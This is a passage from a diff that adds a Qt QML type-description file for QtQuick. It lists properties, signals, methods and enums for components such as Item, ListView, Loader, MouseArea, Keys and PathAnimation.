name: "activeFocusOnTab"; revision: 1; type: "bool" } + Property { name: "rotation"; type: "double" } + Property { name: "scale"; type: "double" } + Property { name: "transformOrigin"; type: "TransformOrigin" } + Property { name: "transformOriginPoint"; type: "QPointF"; isReadonly: true } + Property { name: "transform"; type: "QQuickTransform"; isList: true; isReadonly: true } + Property { name: "smooth"; type: "bool" } + Property { name: "antialiasing"; type: "bool" } + Property { name: "implicitWidth"; type: "double" } + Property { name: "implicitHeight"; type: "double" } + Property { name: "containmentMask"; revision: 11; type: "QObject"; isPointer: true } + Property { name: "layer"; type: "QQuickItemLayer"; isReadonly: true; isPointer: true } + Signal { + name: "childrenRectChanged" + Parameter { type: "QRectF" } + } + Signal { + name: "baselineOffsetChanged" + Parameter { type: "double" } + } + Signal { + name: "stateChanged" + Parameter { type: "string" } + } + Signal { + name: "focusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusOnTabChanged" + revision: 1 + Parameter { type: "bool" } + } + Signal { + name: "parentChanged" + Parameter { type: "QQuickItem"; isPointer: true } + } + Signal { + name: "transformOriginChanged" + Parameter { type: "TransformOrigin" } + } + Signal { + name: "smoothChanged" + Parameter { type: "bool" } + } + Signal { + name: "antialiasingChanged" + Parameter { type: "bool" } + } + Signal { + name: "clipChanged" + Parameter { type: "bool" } + } + Signal { + name: "windowChanged" + revision: 1 + Parameter { name: "window"; type: "QQuickWindow"; isPointer: true } + } + Signal { name: "containmentMaskChanged"; revision: 11 } + Method { name: "update" } + Method { + name: "_q_resourceObjectDeleted" + Parameter { type: "QObject"; isPointer: true } + } + Method { + name: "_q_createJSWrapper" + type: "qulonglong" + Parameter { type: "QV4::ExecutionEngine"; isPointer: true } + } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + Parameter { name: "targetSize"; type: "QSize" } + } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + } + Method { + name: "contains" + type: "bool" + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "mapFromItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapFromGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { name: "forceActiveFocus" } + Method { + name: "forceActiveFocus" + Parameter { name: "reason"; type: "Qt::FocusReason" } + } + Method { + name: "nextItemInFocusChain" + revision: 1 + type: "QQuickItem*" + Parameter { name: "forward"; type: "bool" } + } + Method { name: "nextItemInFocusChain"; revision: 1; type: "QQuickItem*" } + Method { + name: "childAt" + type: "QQuickItem*" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + } + Component { + file: "qquickitemgrabresult.h" + name: "QQuickItemGrabResult" + prototype: "QObject" + Property { name: "image"; type: "QImage"; isReadonly: true } + Property { name: "url"; type: "QUrl"; isReadonly: true } + Signal { name: "ready" } + Method { name: "setup" } + Method { name: "render" } + Method { + name: "saveToFile" + type: "bool" + Parameter { name: "fileName"; type: "string" } + } + Method { + name: "saveToFile" + type: "bool" + Parameter { name: "fileName"; type: "string" } + } + } + Component { + file: "private/qquickitem_p.h" + name: "QQuickItemLayer" + prototype: "QObject" + Property { name: "enabled"; type: "bool" } + Property { name: "textureSize"; type: "QSize" } + Property { name: "sourceRect"; type: "QRectF" } + Property { name: "mipmap"; type: "bool" } + Property { name: "smooth"; type: "bool" } + Property { name: "wrapMode"; type: "QQuickShaderEffectSource::WrapMode" } + Property { name: "format"; type: "QQuickShaderEffectSource::Format" } + Property { name: "samplerName"; type: "QByteArray" } + Property { name: "effect"; type: "QQmlComponent"; isPointer: true } + Property { name: "textureMirroring"; type: "QQuickShaderEffectSource::TextureMirroring" } + Property { name: "samples"; type: "int" } + Signal { + name: "enabledChanged" + Parameter { name: "enabled"; type: "bool" } + } + Signal { + name: "sizeChanged" + Parameter { name: "size"; type: "QSize" } + } + Signal { + name: "mipmapChanged" + Parameter { name: "mipmap"; type: "bool" } + } + Signal { + name: "wrapModeChanged" + Parameter { name: "mode"; type: "QQuickShaderEffectSource::WrapMode" } + } + Signal { + name: "nameChanged" + Parameter { name: "name"; type: "QByteArray" } + } + Signal { + name: "effectChanged" + Parameter { name: "component"; type: "QQmlComponent"; isPointer: true } + } + Signal { + name: "smoothChanged" + Parameter { name: "smooth"; type: "bool" } + } + Signal { + name: "formatChanged" + Parameter { name: "format"; type: "QQuickShaderEffectSource::Format" } + } + Signal { + name: "sourceRectChanged" + Parameter { name: "sourceRect"; type: "QRectF" } + } + Signal { + name: "textureMirroringChanged" + Parameter { name: "mirroring"; type: "QQuickShaderEffectSource::TextureMirroring" } + } + Signal { + name: "samplesChanged" + Parameter { name: "count"; type: "int" } + } + } + Component { + file: "private/qquickitemview_p.h" + name: "QQuickItemView" + defaultProperty: "flickableData" + prototype: "QQuickFlickable" + exports: [ + "QtQuick/ItemView 2.1", + "QtQuick/ItemView 2.10", + "QtQuick/ItemView 2.11", + "QtQuick/ItemView 2.12", + "QtQuick/ItemView 2.13", + "QtQuick/ItemView 2.15", + "QtQuick/ItemView 2.3", + "QtQuick/ItemView 2.4", + "QtQuick/ItemView 2.7", + "QtQuick/ItemView 2.9" + ] + isCreatable: false + exportMetaObjectRevisions: [1, 10, 11, 12, 13, 15, 3, 4, 7, 9] + Enum { + name: "LayoutDirection" + values: [ + "LeftToRight", + "RightToLeft", + "VerticalTopToBottom", + "VerticalBottomToTop" + ] + } + Enum { + name: "VerticalLayoutDirection" + values: ["TopToBottom", "BottomToTop"] + } + Enum { + name: "HighlightRangeMode" + values: ["NoHighlightRange", "ApplyRange", "StrictlyEnforceRange"] + } + Enum { + name: "PositionMode" + values: [ + "Beginning", + "Center", + "End", + "Visible", + "Contain", + "SnapPosition" + ] + } + Property { name: "model"; type: "QVariant" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "currentIndex"; type: "int" } + Property { name: "currentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "keyNavigationWraps"; type: "bool" } + Property { name: "keyNavigationEnabled"; revision: 7; type: "bool" } + Property { name: "cacheBuffer"; type: "int" } + Property { name: "displayMarginBeginning"; revision: 3; type: "int" } + Property { name: "displayMarginEnd"; revision: 3; type: "int" } + Property { name: "layoutDirection"; type: "Qt::LayoutDirection" } + Property { name: "effectiveLayoutDirection"; type: "Qt::LayoutDirection"; isReadonly: true } + Property { name: "verticalLayoutDirection"; type: "VerticalLayoutDirection" } + Property { name: "header"; type: "QQmlComponent"; isPointer: true } + Property { name: "headerItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "footer"; type: "QQmlComponent"; isPointer: true } + Property { name: "footerItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "populate"; type: "QQuickTransition"; isPointer: true } + Property { name: "add"; type: "QQuickTransition"; isPointer: true } + Property { name: "addDisplaced"; type: "QQuickTransition"; isPointer: true } + Property { name: "move"; type: "QQuickTransition"; isPointer: true } + Property { name: "moveDisplaced"; type: "QQuickTransition"; isPointer: true } + Property { name: "remove"; type: "QQuickTransition"; isPointer: true } + Property { name: "removeDisplaced"; type: "QQuickTransition"; isPointer: true } + Property { name: "displaced"; type: "QQuickTransition"; isPointer: true } + Property { name: "highlight"; type: "QQmlComponent"; isPointer: true } + Property { name: "highlightItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "highlightFollowsCurrentItem"; type: "bool" } + Property { name: "highlightRangeMode"; type: "HighlightRangeMode" } + Property { name: "preferredHighlightBegin"; type: "double" } + Property { name: "preferredHighlightEnd"; type: "double" } + Property { name: "highlightMoveDuration"; type: "int" } + Property { name: "reuseItems"; revision: 15; type: "bool" } + Signal { name: "keyNavigationEnabledChanged"; revision: 7 } + Signal { name: "populateTransitionChanged" } + Signal { name: "addTransitionChanged" } + Signal { name: "addDisplacedTransitionChanged" } + Signal { name: "moveTransitionChanged" } + Signal { name: "moveDisplacedTransitionChanged" } + Signal { name: "removeTransitionChanged" } + Signal { name: "removeDisplacedTransitionChanged" } + Signal { name: "displacedTransitionChanged" } + Signal { name: "reuseItemsChanged"; revision: 15 } + Method { name: "destroyRemoved" } + Method { + name: "createdItem" + Parameter { name: "index"; type: "int" } + Parameter { name: "item"; type: "QObject"; isPointer: true } + } + Method { + name: "initItem" + Parameter { name: "index"; type: "int" } + Parameter { name: "item"; type: "QObject"; isPointer: true } + } + Method { + name: "modelUpdated" + Parameter { name: "changeSet"; type: "QQmlChangeSet" } + Parameter { name: "reset"; type: "bool" } + } + Method { + name: "destroyingItem" + Parameter { name: "item"; type: "QObject"; isPointer: true } + } + Method { + name: "onItemPooled" + revision: 15 + Parameter { name: "modelIndex"; type: "int" } + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Method { + name: "onItemReused" + revision: 15 + Parameter { name: "modelIndex"; type: "int" } + Parameter { name: "object"; type: "QObject"; isPointer: true } + } + Method { name: "animStopped" } + Method { name: "trackedPositionChanged" } + Method { + name: "positionViewAtIndex" + Parameter { name: "index"; type: "int" } + Parameter { name: "mode"; type: "int" } + } + Method { + name: "indexAt" + type: "int" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + Method { + name: "itemAt" + type: "QQuickItem*" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + Method { + name: "itemAtIndex" + revision: 13 + type: "QQuickItem*" + Parameter { name: "index"; type: "int" } + } + Method { name: "positionViewAtBeginning" } + Method { name: "positionViewAtEnd" } + Method { name: "forceLayout"; revision: 1 } + } + Component { + name: "QQuickItemViewAttached" + prototype: "QObject" + Property { name: "view"; type: "QQuickItemView"; isReadonly: true; isPointer: true } + Property { name: "isCurrentItem"; type: "bool"; isReadonly: true } + Property { name: "delayRemove"; type: "bool" } + Property { name: "section"; type: "string"; isReadonly: true } + Property { name: "previousSection"; type: "string"; isReadonly: true } + Property { name: "nextSection"; type: "string"; isReadonly: true } + Signal { name: "currentItemChanged" } + Signal { name: "add" } + Signal { name: "remove" } + Signal { name: "prevSectionChanged" } + Signal { name: "pooled" } + Signal { name: "reused" } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickKeyEvent" + prototype: "QObject" + Property { name: "key"; type: "int"; isReadonly: true } + Property { name: "text"; type: "string"; isReadonly: true } + Property { name: "modifiers"; type: "int"; isReadonly: true } + Property { name: "isAutoRepeat"; type: "bool"; isReadonly: true } + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "nativeScanCode"; type: "uint"; isReadonly: true } + Property { name: "accepted"; type: "bool" } + Method { + name: "matches" + revision: 2 + type: "bool" + Parameter { name: "key"; type: "QKeySequence::StandardKey" } + } + } + Component { + file: "private/qquickitem_p.h" + name: "QQuickKeyNavigationAttached" + prototype: "QObject" + exports: ["QtQuick/KeyNavigation 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + attachedType: "QQuickKeyNavigationAttached" + Enum { + name: "Priority" + values: ["BeforeItem", "AfterItem"] + } + Property { name: "left"; type: "QQuickItem"; isPointer: true } + Property { name: "right"; type: "QQuickItem"; isPointer: true } + Property { name: "up"; type: "QQuickItem"; isPointer: true } + Property { name: "down"; type: "QQuickItem"; isPointer: true } + Property { name: "tab"; type: "QQuickItem"; isPointer: true } + Property { name: "backtab"; type: "QQuickItem"; isPointer: true } + Property { name: "priority"; type: "Priority" } + } + Component { + file: "private/qquickitem_p.h" + name: "QQuickKeysAttached" + prototype: "QObject" + exports: ["QtQuick/Keys 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + attachedType: "QQuickKeysAttached" + Enum { + name: "Priority" + values: ["BeforeItem", "AfterItem"] + } + Property { name: "enabled"; type: "bool" } + Property { name: "forwardTo"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "priority"; type: "Priority" } + Signal { + name: "pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "released" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "shortcutOverride" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "digit0Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "digit1Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "digit2Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "digit3Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "digit4Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "digit5Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "digit6Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "digit7Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "digit8Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "digit9Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "leftPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "rightPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "upPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "downPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "tabPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "backtabPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "asteriskPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "numberSignPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "escapePressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "returnPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "enterPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "deletePressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "spacePressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "backPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "cancelPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "selectPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "yesPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "noPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "context1Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "context2Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "context3Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "context4Pressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "callPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "hangupPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "flipPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "menuPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "volumeUpPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + Signal { + name: "volumeDownPressed" + Parameter { name: "event"; type: "QQuickKeyEvent"; isPointer: true } + } + } + Component { + file: "private/qquickitem_p.h" + name: "QQuickLayoutMirroringAttached" + prototype: "QObject" + exports: ["QtQuick/LayoutMirroring 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + attachedType: "QQuickLayoutMirroringAttached" + Property { name: "enabled"; type: "bool" } + Property { name: "childrenInherit"; type: "bool" } + } + Component { + file: "private/qquicklistview_p.h" + name: "QQuickListView" + defaultProperty: "data" + prototype: "QQuickItemView" + exports: [ + "QtQuick/ListView 2.0", + "QtQuick/ListView 2.1", + "QtQuick/ListView 2.10", + "QtQuick/ListView 2.11", + "QtQuick/ListView 2.12", + "QtQuick/ListView 2.13", + "QtQuick/ListView 2.15", + "QtQuick/ListView 2.3", + "QtQuick/ListView 2.4", + "QtQuick/ListView 2.7", + "QtQuick/ListView 2.9" + ] + exportMetaObjectRevisions: [0, 1, 10, 11, 12, 13, 15, 3, 4, 7, 9] + attachedType: "QQuickListViewAttached" + Enum { + name: "Orientation" + values: ["Horizontal", "Vertical"] + } + Enum { + name: "SnapMode" + values: ["NoSnap", "SnapToItem", "SnapOneItem"] + } + Enum { + name: "HeaderPositioning" + values: ["InlineHeader", "OverlayHeader", "PullBackHeader"] + } + Enum { + name: "FooterPositioning" + values: ["InlineFooter", "OverlayFooter", "PullBackFooter"] + } + Property { name: "highlightMoveVelocity"; type: "double" } + Property { name: "highlightResizeVelocity"; type: "double" } + Property { name: "highlightResizeDuration"; type: "int" } + Property { name: "spacing"; type: "double" } + Property { name: "orientation"; type: "Orientation" } + Property { name: "section"; type: "QQuickViewSection"; isReadonly: true; isPointer: true } + Property { name: "currentSection"; type: "string"; isReadonly: true } + Property { name: "snapMode"; type: "SnapMode" } + Property { name: "headerPositioning"; revision: 4; type: "HeaderPositioning" } + Property { name: "footerPositioning"; revision: 4; type: "FooterPositioning" } + Signal { name: "headerPositioningChanged"; revision: 4 } + Signal { name: "footerPositioningChanged"; revision: 4 } + Method { name: "incrementCurrentIndex" } + Method { name: "decrementCurrentIndex" } + } + Component { name: "QQuickListViewAttached"; prototype: "QQuickItemViewAttached" } + Component { + file: "private/qquickloader_p.h" + name: "QQuickLoader" + prototype: "QQuickImplicitSizeItem" + exports: [ + "QtQuick/Loader 2.0", + "QtQuick/Loader 2.1", + "QtQuick/Loader 2.11", + "QtQuick/Loader 2.4", + "QtQuick/Loader 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "Status" + values: ["Null", "Ready", "Loading", "Error"] + } + Property { name: "active"; type: "bool" } + Property { name: "source"; type: "QUrl" } + Property { name: "sourceComponent"; type: "QQmlComponent"; isPointer: true } + Property { name: "item"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "progress"; type: "double"; isReadonly: true } + Property { name: "asynchronous"; type: "bool" } + Signal { name: "loaded" } + Method { name: "_q_sourceLoaded" } + Method { name: "_q_updateSize" } + Method { + name: "setSource" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + } + Component { + file: "private/qquicktranslate_p.h" + name: "QQuickMatrix4x4" + prototype: "QQuickTransform" + exports: ["QtQuick/Matrix4x4 2.3"] + exportMetaObjectRevisions: [3] + Property { name: "matrix"; type: "QMatrix4x4" } + } + Component { + file: "private/qquickmousearea_p.h" + name: "QQuickMouseArea" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/MouseArea 2.0", + "QtQuick/MouseArea 2.1", + "QtQuick/MouseArea 2.11", + "QtQuick/MouseArea 2.4", + "QtQuick/MouseArea 2.5", + "QtQuick/MouseArea 2.7", + "QtQuick/MouseArea 2.9" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 5, 7, 9] + Property { name: "mouseX"; type: "double"; isReadonly: true } + Property { name: "mouseY"; type: "double"; isReadonly: true } + Property { name: "containsMouse"; type: "bool"; isReadonly: true } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "enabled"; type: "bool" } + Property { name: "scrollGestureEnabled"; revision: 5; type: "bool" } + Property { name: "pressedButtons"; type: "Qt::MouseButtons"; isReadonly: true } + Property { name: "acceptedButtons"; type: "Qt::MouseButtons" } + Property { name: "hoverEnabled"; type: "bool" } + Property { name: "drag"; type: "QQuickDrag"; isReadonly: true; isPointer: true } + Property { name: "preventStealing"; type: "bool" } + Property { name: "propagateComposedEvents"; type: "bool" } + Property { name: "cursorShape"; type: "Qt::CursorShape" } + Property { name: "containsPress"; revision: 4; type: "bool"; isReadonly: true } + Property { name: "pressAndHoldInterval"; revision: 9; type: "int" } + Signal { name: "hoveredChanged" } + Signal { name: "scrollGestureEnabledChanged"; revision: 5 } + Signal { + name: "positionChanged" + Parameter { name: "mouse"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "mouseXChanged" + Parameter { name: "mouse"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "mouseYChanged" + Parameter { name: "mouse"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "pressed" + Parameter { name: "mouse"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "pressAndHold" + Parameter { name: "mouse"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "released" + Parameter { name: "mouse"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "clicked" + Parameter { name: "mouse"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "doubleClicked" + Parameter { name: "mouse"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "wheel" + Parameter { name: "wheel"; type: "QQuickWheelEvent"; isPointer: true } + } + Signal { name: "entered" } + Signal { name: "exited" } + Signal { name: "canceled" } + Signal { name: "containsPressChanged"; revision: 4 } + Signal { name: "pressAndHoldIntervalChanged"; revision: 9 } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickMouseEvent" + prototype: "QObject" + Property { name: "x"; type: "double"; isReadonly: true } + Property { name: "y"; type: "double"; isReadonly: true } + Property { name: "button"; type: "int"; isReadonly: true } + Property { name: "buttons"; type: "int"; isReadonly: true } + Property { name: "modifiers"; type: "int"; isReadonly: true } + Property { name: "source"; revision: 7; type: "int"; isReadonly: true } + Property { name: "wasHeld"; type: "bool"; isReadonly: true } + Property { name: "isClick"; type: "bool"; isReadonly: true } + Property { name: "accepted"; type: "bool" } + Property { name: "flags"; revision: 11; type: "int"; isReadonly: true } + } + Component { + file: "private/qquickpointerhandler_p.h" + name: "QQuickMultiPointHandler" + prototype: "QQuickPointerDeviceHandler" + Property { name: "minimumPointCount"; type: "int" } + Property { name: "maximumPointCount"; type: "int" } + Property { name: "centroid"; type: "QQuickHandlerPoint"; isReadonly: true } + } + Component { + file: "private/qquickmultipointtoucharea_p.h" + name: "QQuickMultiPointTouchArea" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/MultiPointTouchArea 2.0", + "QtQuick/MultiPointTouchArea 2.1", + "QtQuick/MultiPointTouchArea 2.11", + "QtQuick/MultiPointTouchArea 2.4", + "QtQuick/MultiPointTouchArea 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "touchPoints"; type: "QQuickTouchPoint"; isList: true; isReadonly: true } + Property { name: "minimumTouchPoints"; type: "int" } + Property { name: "maximumTouchPoints"; type: "int" } + Property { name: "mouseEnabled"; type: "bool" } + Signal { + name: "pressed" + Parameter { name: "touchPoints"; type: "QList" } + } + Signal { + name: "updated" + Parameter { name: "touchPoints"; type: "QList" } + } + Signal { + name: "released" + Parameter { name: "touchPoints"; type: "QList" } + } + Signal { + name: "canceled" + Parameter { name: "touchPoints"; type: "QList" } + } + Signal { + name: "gestureStarted" + Parameter { name: "gesture"; type: "QQuickGrabGestureEvent"; isPointer: true } + } + Signal { + name: "touchUpdated" + Parameter { name: "touchPoints"; type: "QList" } + } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickNumberAnimation" + prototype: "QQuickPropertyAnimation" + exports: [ + "QtQuick/NumberAnimation 2.0", + "QtQuick/NumberAnimation 2.12" + ] + exportMetaObjectRevisions: [0, 12] + Property { name: "from"; type: "double" } + Property { name: "to"; type: "double" } + } + Component { + file: "private/qquickanimator_p.h" + name: "QQuickOpacityAnimator" + prototype: "QQuickAnimator" + exports: [ + "QtQuick/OpacityAnimator 2.12", + "QtQuick/OpacityAnimator 2.2" + ] + exportMetaObjectRevisions: [12, 2] + } + Component { + file: "private/qquickopenglinfo_p.h" + name: "QQuickOpenGLInfo" + prototype: "QObject" + exports: ["QtQuick/OpenGLInfo 2.4"] + isCreatable: false + exportMetaObjectRevisions: [4] + attachedType: "QQuickOpenGLInfo" + Enum { + name: "ContextProfile" + values: ["NoProfile", "CoreProfile", "CompatibilityProfile"] + } + Enum { + name: "RenderableType" + values: ["Unspecified", "OpenGL", "OpenGLES"] + } + Property { name: "majorVersion"; type: "int"; isReadonly: true } + Property { name: "minorVersion"; type: "int"; isReadonly: true } + Property { name: "profile"; type: "ContextProfile"; isReadonly: true } + Property { name: "renderableType"; type: "RenderableType"; isReadonly: true } + Method { name: "updateFormat" } + Method { + name: "setWindow" + Parameter { name: "window"; type: "QQuickWindow"; isPointer: true } + } + } + Component { + file: "qquickpainteditem.h" + name: "QQuickPaintedItem" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/PaintedItem 2.0", + "QtQuick/PaintedItem 2.1", + "QtQuick/PaintedItem 2.11", + "QtQuick/PaintedItem 2.4", + "QtQuick/PaintedItem 2.7" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "RenderTarget" + values: [ + "Image", + "FramebufferObject", + "InvertedYFramebufferObject" + ] + } + Enum { + name: "PerformanceHints" + alias: "PerformanceHint" + isFlag: true + values: ["FastFBOResizing"] + } + Property { name: "contentsSize"; type: "QSize" } + Property { name: "fillColor"; type: "QColor" } + Property { name: "contentsScale"; type: "double" } + Property { name: "renderTarget"; type: "RenderTarget" } + Property { name: "textureSize"; type: "QSize" } + Method { name: "invalidateSceneGraph" } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickParallelAnimation" + defaultProperty: "animations" + prototype: "QQuickAnimationGroup" + exports: [ + "QtQuick/ParallelAnimation 2.0", + "QtQuick/ParallelAnimation 2.12" + ] + exportMetaObjectRevisions: [0, 12] + } + Component { + file: "private/qquickitemanimation_p.h" + name: "QQuickParentAnimation" + defaultProperty: "animations" + prototype: "QQuickAnimationGroup" + exports: [ + "QtQuick/ParentAnimation 2.0", + "QtQuick/ParentAnimation 2.12" + ] + exportMetaObjectRevisions: [0, 12] + Property { name: "target"; type: "QQuickItem"; isPointer: true } + Property { name: "newParent"; type: "QQuickItem"; isPointer: true } + Property { name: "via"; type: "QQuickItem"; isPointer: true } + } + Component { + file: "private/qquickstateoperations_p.h" + name: "QQuickParentChange" + prototype: "QQuickStateOperation" + exports: ["QtQuick/ParentChange 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "target"; type: "QQuickItem"; isPointer: true } + Property { name: "parent"; type: "QQuickItem"; isPointer: true } + Property { name: "x"; type: "QQmlScriptString" } + Property { name: "y"; type: "QQmlScriptString" } + Property { name: "width"; type: "QQmlScriptString" } + Property { name: "height"; type: "QQmlScriptString" } + Property { name: "scale"; type: "QQmlScriptString" } + Property { name: "rotation"; type: "QQmlScriptString" } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPath" + defaultProperty: "pathElements" + prototype: "QObject" + exports: ["QtQuick/Path 2.0", "QtQuick/Path 2.14"] + exportMetaObjectRevisions: [0, 14] + Property { name: "pathElements"; type: "QQuickPathElement"; isList: true; isReadonly: true } + Property { name: "startX"; type: "double" } + Property { name: "startY"; type: "double" } + Property { name: "closed"; type: "bool"; isReadonly: true } + Property { name: "scale"; revision: 14; type: "QSizeF" } + Signal { name: "changed" } + Signal { name: "scaleChanged"; revision: 14 } + Method { name: "processPath" } + Method { + name: "pointAtPercent" + revision: 14 + type: "QPointF" + Parameter { name: "t"; type: "double" } + } + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickPathAngleArc" + prototype: "QQuickCurve" + exports: ["QtQuick/PathAngleArc 2.11"] + exportMetaObjectRevisions: [11] + Property { name: "centerX"; type: "double" } + Property { name: "centerY"; type: "double" } + Property { name: "radiusX"; type: "double" } + Property { name: "radiusY"; type: "double" } + Property { name: "startAngle"; type: "double" } + Property { name: "sweepAngle"; type: "double" } + Property { name: "moveToStart"; type: "bool" } + } + Component { + file: "private/qquickitemanimation_p.h" + name: "QQuickPathAnimation" + prototype: "QQuickAbstractAnimation" + exports: ["QtQuick/PathAnimation 2.0", "QtQuick/PathAnimation 2.12"] + exportMetaObjectRevisions: [0, 12] + Enum { + name: "Orientation" + values: [ + "Fixed", + "RightFirst", + "LeftFirst", + "BottomFirst", + "TopFirst" + ] + } + Property { name: "duration"; type: "int" } + Property { name: "easing"; type: "QEasingCurve" } + Property { name: "path"; type: "QQuickPath"; isPointer: true } + Property { name: "target"; type: "QQuickItem"; isPointer: true } + Property { name: "orientation"; type: "Orientation" } + Property { name: "anchorPoint"; type: "QPointF" } + Property { name: "orientationEntryDuration"; type: "int" } + Property { name: "orientationExitDuration"; type: "int" } + Property { name: "endRotation"; type: "double" } + Signal { + name: "durationChanged" + Parameter { type: "int" } + } + Signal { + name: "easingChanged" + Parameter { type: "QEasingCurve" } + } + Signal { + name: 